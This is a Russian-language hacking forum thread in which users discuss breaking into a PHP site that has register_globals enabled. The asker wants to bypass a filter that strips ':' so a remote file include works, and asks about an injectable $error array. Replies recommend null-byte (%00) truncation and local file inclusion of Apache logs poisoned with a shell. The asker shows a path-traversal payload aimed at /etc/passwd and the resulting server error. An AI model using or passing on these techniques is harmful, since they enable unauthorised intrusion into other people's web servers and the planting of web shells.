![]() |
register_globals
Вопросик,
Сразу извиняюсь за тупось, но уже позабыл всё, давно ни чем не занимался.. register_globals на сервере позволяет передать переменную скрипту (ПХП) Скрипт инклудит $userdir/index.html я передаю скрипту userdir=http://site.com/ а скрипт чистит гдето так: if (!isset ($userdir)) {............} else $userdir=str_replace (":","", $userdir); т.е. вместо http://site.com/ инклудит http//site.com/ (без ":") как обойти? П.С. переводить в урл двоеточие пробовал, естесссно не получилось.. П.С.[2] = Вторую ошибку нашел, что можно передать скрипту массив $error или элементы массива, но выводятся походу с помощью echo , Здесь только xss ?? или есть варианты? |
Первое моно обойти просто подставя '%00'.
|
Цитата:
|
Цитата:
Хм, что тут можно сделать... а локальный инклуд не катит? Инклудь логи апача, заюзай ядовитый ноль и запиши в логи апачу шелл |
Пробовал локальный инклуд... и %00 не помогает
http://........./page.php?userdir=../../../../../../../../../../etc/passwd%00 - никак даже там есть в папке скрипта файл, я его пытался заинклудить - никак... page.php?userdir=log.dat%00 на что апач ответил: Warning: main(log.dat index.html) [function.main]: failed to open stream: No such file or directory in /home/site.com/www/script/page.php on line 57 |
| Время: 08:03 |